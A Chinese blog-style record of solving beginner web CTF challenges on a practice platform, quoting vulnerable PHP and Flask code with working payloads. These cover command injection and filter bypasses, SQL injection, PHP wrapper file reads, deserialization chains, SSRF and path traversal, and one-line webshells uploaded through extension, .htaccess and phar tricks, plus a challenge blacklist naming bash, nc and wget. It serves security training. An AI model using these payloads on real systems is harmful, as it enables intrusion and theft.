NSS刷题记录
[SWPUCTF 2021 新生赛]gift_F12
超级好看的界面诶
找到了就是不能复制,直接源码看一下
两种办法本质一样的
[SWPUCTF 2021 新生赛]jicao
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
这里就是要POST传入id,再GET传入一个json编码后的wllm
?json={"x":"wllm"}
id=wllmNB
[SWPUCTF 2021 新生赛]easy_md5
<?php
highlight_file(__FILE__);
include 'flag2.php';
if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}
}
else {
echo 'wrong!';
}
?>
这题就非常简单了,老熟人md5,这里要求a和b输入值不相同,md5加密后的值弱类型相等,就想到了0e的科学计数法
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
[SWPUCTF 2021 新生赛]caidao
看到标题用菜刀,觉得好麻烦,直接用hackbar也可以的
后台有远程执行漏洞,直接post传参就行
wllm=system("cat /flag");
小声bb:自从上次被师傅教训完怎么理所当然认为flag就在flag.php下面,现在就都/flag了,狠狠吸取教训
[SWPUCTF 2021 新生赛]easyrce
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>
这好像遇到过了,印象就不太深了,命令执行
?url=system("cat /f*");
[SWPUCTF 2021 新生赛]include
看了源码,啥也没有,就伪协议
?file=php://filter/convert.base64-encode/resource=flag.php
点开源码,得到一串base64编码
解码得到flag
[SWPUCTF 2021 新生赛]easy_sql
过程就是靠试出来sql的正确语句,就不细讲,比较简单
?wllm=1" //存在注入点
不喜欢sql,所以先跳哈哈哈哈哈哈哈
[第五空间 2021]WebFTP
一个登录框,查看源代码以为是后台源码泄露
结果
然后其实就没什么思路了,看了一下讨论区,说是.git泄露,属于非预期解,直接访问phpinfo.php,搜索flag即可出结果
这里确实是直接有了,看wp说是还有一种方法==>/README.md发现管理员密码,进入后找文件
去登录是成功的
就是找不到/flag哈哈哈哈,蒜啦~
[SWPUCTF 2021 新生赛]babyrce
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!
看到是跟文件头有关的,就想到抓包了,在cookie处添加admin=1
访问,出现了一个新关卡
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>
正则匹配,要绕过空格
?url=cat${IFS}/f*
?url=cat$IFS$9/f*
[SWPUCTF 2021 新生赛]ez_unserialize
吼吼吼,还是动图,有、、可爱的,进行目录扫描
访问robots.txt
继续访问/cl45s.php
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
$aa = new wllm();
$aa->admin = "admin";
$aa->passwd = "ctf";
$stus = serialize($aa);
print_r($stus);
?>
反序列化一下
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
[SWPUCTF 2021 新生赛]Do_you_know_http
直接抓包对相应的值进行修改
因为比较简单就不多介绍啦
[SWPUCTF 2021 新生赛]easyupload2.0
测试一下上传,发现php是不可以成功上传的,就抓了个包把带有一句话木马的.php文件重命名为.phtml格式的文件
上传成功后用蚁剑连接
[SWPUCTF 2021 新生赛]no_wakeup
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
又是反序列化咯
[SWPUCTF 2021 新生赛]easyupload1.0
还是不能上传.php文件
同样是抓包,修改文件后缀
成功登录蚁剑
去提交了一遍发现不正确,哦,是假密码
发现.git提示
结果真的存在git泄露
[SWPUCTF 2021 新生赛]easyupload3.0
怎么修改文件后缀都不能成功绕过,于是考虑用htaccess文件绕过php 的黑名单
.htaccess文件==>用来定义后面上传文件使后面的文件格式会被服务器读成相应的格式
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
这里就自己浅浅分析了一下==>get三个参数,text需要输入一个文本,就直接用data伪协议了(别问为什么就想到伪协议,问就是做多了有感觉了),记得把后面文本内容base64编码一下;file参数不能有flag,否则输出 Not now!,那么就试一下useless.php文件,也是伪协议,用php伪协议哈
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/convert.base64-encode/resource=useless.php
出现一大串base64编码,就知道了进了一步了
//解码后
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
接下来反序列化整活咯
<?php
class Flag{ //flag.php
public $file;
public function __construct(){
$this->file = "flag.php";
}
}
$a = new Flag();
$b = serialize($a);
echo urlencode($b);
?>
把这一串拿到password参数上
//最终payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
查看源码
[SWPUCTF 2021 新生赛]easyupload3.0
我是直接上传了本地原有的.htaccess
.htaccess文件上传成功了,为后面的木马文件做准备,接着试着上传一下带一句话木马的.jpg文件
做了好几遍还是连不上蚁剑,罢了罢了,但是不得不说这个题还是很有代表性的hhh
[鹤城杯 2021]EasyP
<?php
include 'utils.php';
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>
前面那一部分的$secret不知道是干什么的,所以前半部分的那个$flag看样子也就是吊胃口的,所以就不管了
接下来主要看下面三个if语句,既然前面两个都返回hacker,那么就主干是在第三个if语句上
知识点
一、$_SERVER['PHP_SELF']
==> 读取文件夹下的一个文件
比如,qw1k.cn/Luv_0.php/xjw.php?xjw=dmn 会变成 Luv_0.php/xjw.php
二、$_SERVER['REQUEST_URI']
==> 取得当前URL的 路径地址
比如,qw1k.cn/Luv_0.php/xjw.php?xjw=dmn 会变成 Luv_0.php/xjw.php?xjw=dmn
三、basename() ==> 返回路径中的文件名部分
比如,qw1k.cn/Luv_0.php/xjw.php?file=xjw 会变成 xjw
或者,qw1k.cn/Luv_0.php/xjw.php?file=xjw.php 会变成 xjw.php
还有,qw1k.cn/Luv_0.php/xjw.php?file=/xjw/xjw.php 会变成 xjw.php
了解完之后回来看题目
1.需要用可以造成乱码的url编码绕过*/utils.php/*$/i* 正则匹配
2.*/show_source/*用*show[source*或者*show.source*绕过,这个记住即可
最后payload:
/index.php/utils.php/%99?show[source=1
其实这道题还是有点懵懵的,感觉前面列出的知识点跟最后的payload关联度不大
[SWPUCTF 2021 新生赛]hardrce
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
看着就想到前一段时间吐槽的无字母绕过,但是这道题不是用这种方法
EXP:
<?php
highlight_file(__FILE__);
$code1="system";
$code2="cat /flllllaaaaaaggggggg";
echo "<br>";
echo "?wllm=(~".urlencode(~$code1).")(~".urlencode(~$code2).");"; //取反绕过
最后得到
?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
[SWPUCTF 2021 新生赛]pop
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
太变态辣,找链子真的狠狠为难了
先是从后往前看,unserialize($w00m);
说明是反序列化,接着__toString()
,再往下__destruct()
exp如下
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
# 链子
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>
这题还去查了一下别人的分析
$a = new w22m();是把类给了a
然后$a->w00m = new w33m();因为w22m中woom是其中的可控对象 ——tostring操作就是
$a->w00m->w00m=new w44m(); w33m中woom也是其中可控对象
$a->w00m->w22m='Getflag';
w00m是w33m对象,w22m是getflag
原文链接:https://blog.csdn.net/qq_62046696/article/details/124880674
[BJDCTF 2020]easy_md5
就这样一个看起来没什么用的输入框,就尝试抓包好了
因为做过了这道题,所以就知道ffifdyop可以绕过hhh
ffifdyop
这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c
,这个字符串前几位刚好是' or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是1select * from 'admin' where password='' or '6xxxxx'
,等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数
输入框内可以看到出现了一个新页面
右键查看源代码
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
养成了个看到md5就试一下数据绕过的习惯
输入:?a[]=1&b[]=2
直接就可以了,但是感觉这一关考的不是md5数组绕过啊喂,就继续看看,这里要求a和b输入值不相同,md5加密后的值弱类型相等,就想到了0e的科学计数法
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
可以用这两个,也是ok哒,又出现了一个新关卡
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
这里跟上一关卡乍一看别无二致,但是这里两个值需要强类型相等
还是老样子先上数组绕过
param1[]=1¶m2[]=2
不知道是不是环境问题,flag就是不出来,过过过
[SWPUCTF 2021 新生赛]PseudoProtocols
一打开指定了一个hint.php文件,正常访问无响应,尝试用伪协议
出现了一串base64编码
按照提示去访问一下发现又是一串base64
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
这种马上就能知道用data伪协议
/test2222222222222.php?a=data://text/plain,I want flag
[NISACTF 2022]easyssrf
ssrf没什么接触,浅试了一下,就看wp了哈哈哈哈
输入:file:///etc/password
返回 :害羞羞,试试其他路径?
可以判断出file协议可以用但是读取不了这个文件,然后盲猜
输入:file:///flag
返回:都说了这里看不了flag。。但是可以看看提示文件:/fl4g
输入:file:///fl4g
返回:你应该看看除了index.php,是不是还有个ha1x1ux1u.php
访问ha1x1ux1u.php
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}
//flag in /flag
echo file_get_contents($file);
flag在/flag目录下,直接
?file=../../../../../flag
[SWPUCTF 2021 新生赛]finalrce
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
这种题我们一般就先ls
看一下有哪些文件,但是ls
被禁了,可以通过l's
或者 l\s /
的表达方式执行,然后因为代码执行exec()
,而这个函数是典型的无回显函数,所以要用 tee
命令写入命令使其展示出来
?url=l\s / | tee xjw1.txt //将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。
| 左右两边都需要有空格哈
写入成功,继续命令执行
?url=tac /flllll\aaaaaaggggggg |tee xjw2.txt
访问一下
[NCTF 2018]签到题
页面什么显示也没有,就看看network
啊嘞,提交是错误的,不访问secret.php看看
直接就有flag了,真服啦,简单是简单,就是如果没想到就会在secret.php里面花时间
[NISACTF 2022]level-up
/robots.txt
这跟省赛初赛第一题异曲同工之妙了hhh,有提示disallow:
这个就是robots.txt内容的格式
继续访问
<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];
if ($a1 == $a2){
die("????");
}
if (md5($a1) === md5($a2)){
echo $level3;
}
else{
die("level 2 failed ...");
}
}
else{
show_source(__FILE__);
}
?>
成立的条件是a1和a2值不相等,但是md5后的值相等。因为这里是===
不仅比较值相等还会比较值得类型是否相同,所以0E在这里就不可用了
传入的最后转为字符串比较,所以想要数组绕过也就不行了。只能构造两个MD5值相同的不同字符串,也就是md5碰撞撒
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
试了好几个wp的值都过不了呜呜呜,不能在一棵树上吊死,下一个下一个,说掰掰就掰掰
[SWPUCTF 2021 新生赛]easy_sql
直接查看源代码
发现参数
?wllm=1'--+ //有回显==>字符型
?wllm=1' order by 3--+
?wllm=1' order by 4--+ //报错==>字段数为3
?wllm=0' union select 1,2,3--+ //查看回显
?wllm=0' union select 1,2,database()--+ //查数据库==>出现test_db
?wllm=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+ //看数据库的表==>出现test_tb
?wllm=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+ //查字段
?wllm=0' union select 1,2,group_concat(flag) from test_tb--+ //查看flag下的字段值==>出现flag
[GXYCTF 2019]Ping Ping Ping
[suctf 2019]EasySQL
输入非零任何数字都有回显==>使用堆叠注入
0;show databases;
0;show tables;
不想搞辣呜呜呜讨厌sql
[GXYCTF 2019]Ping Ping Ping
0;ls;
先查看全部文件
用cat命令直接抓flag.php,发现flag被过滤了,再试了几个,确定有好多符号都被过滤了,包括空格,为了更直观一些,就直接cat一下index.php
方法一
接着就考虑一下变量拼接
0;a=ag;b=fl;cat$IFS$9$b$a.php //让变量a=ag,让变量b=fl,注意不能相反
是可以正常执行的,查看源码,即可得到flag
方法二
好像叫内联执行
0;cat$IFS$1`ls`;
在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php。那么ls
就代表了index.php这个文件。那么我们就可以使用cat命令查看index.php的内容,而这一道题就可以使用cat$IFS$1 ls
` 这个命令来输出flag了
查看源代码就行辣
[NISACTF 2022]babyupload
是一个上传任何后缀的文件都不行的文件上传(至少我试过来都不行哈哈哈哈)
查看源码会提醒我们有一个/source的地址
直接下载了源码
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid
app = Flask(__name__)
SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""
def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db
@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)
@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""
@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)
@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
开始代码审计了撒,就一点点分析好了
是用post方式提交文件的撒
带.的文件都会回显403,这也就能解释为什么我们前面上传的都不行了
这里就是有一个insert语句进行sql注入插入文件的操作,后面提到了是(uid, file.filename,)
uid作为一个用户身份证明,也就意味着我们传进一个文件名为/flag的文件就可以得到flag的uid
访问一下即可
[NISACTF 2022]bingdundun~
点进超链接
浅试了一下,发现.php和.png格式不行,但是.jpg格式是可以成功上传的
那就好办了
还是想简单了,这道文件上传需要用phar进行打包上传
<?php
$payload = '<?php eval($_POST["shell"]); ?>' //一句话木马
$phar = new Phar("example.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("xjw.php", "$payload"); //添加要压缩的文件
// $phar->setMetadata(...); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
$phar->stopBuffering();
?>
把带有一句话木马的文件压入phar包里
很奇怪的是在本地一直都无法生成.phar文件
权限的话就要去php.ini里修改一下
我修改了还是不行,去请教了一位师傅
太蟹蟹他了
可以生成了
上传后直接通过phar伪协议访问
接着查看flag目录
太感人了,这题因为一个分号被卡了好久
[羊城杯 2020]easycon
谁懂啊,玩到65分玩出来的,重新去想其他解法,发现在.js文件里就直接有
[NSSCTF 2022 Spring Recruit]babyphp
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?> let's get some php
这里共有五个参数,看起来很多,但是会发现它们的方法都别无二致
首先a的参数就一个正则匹配,那么直接数据绕过
接着的b1和b2,需要值不相等,但是b1和b2的md5值相等,同样可以数组绕过
c1和c2呢,因为要求是字符串和md5值相等,所以直接用md5的字符串绕过
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
最后payload
a[]=1&b1[]=2&b2[]=3&c1=QNKCDZO&c2=s878926199a
评论已关闭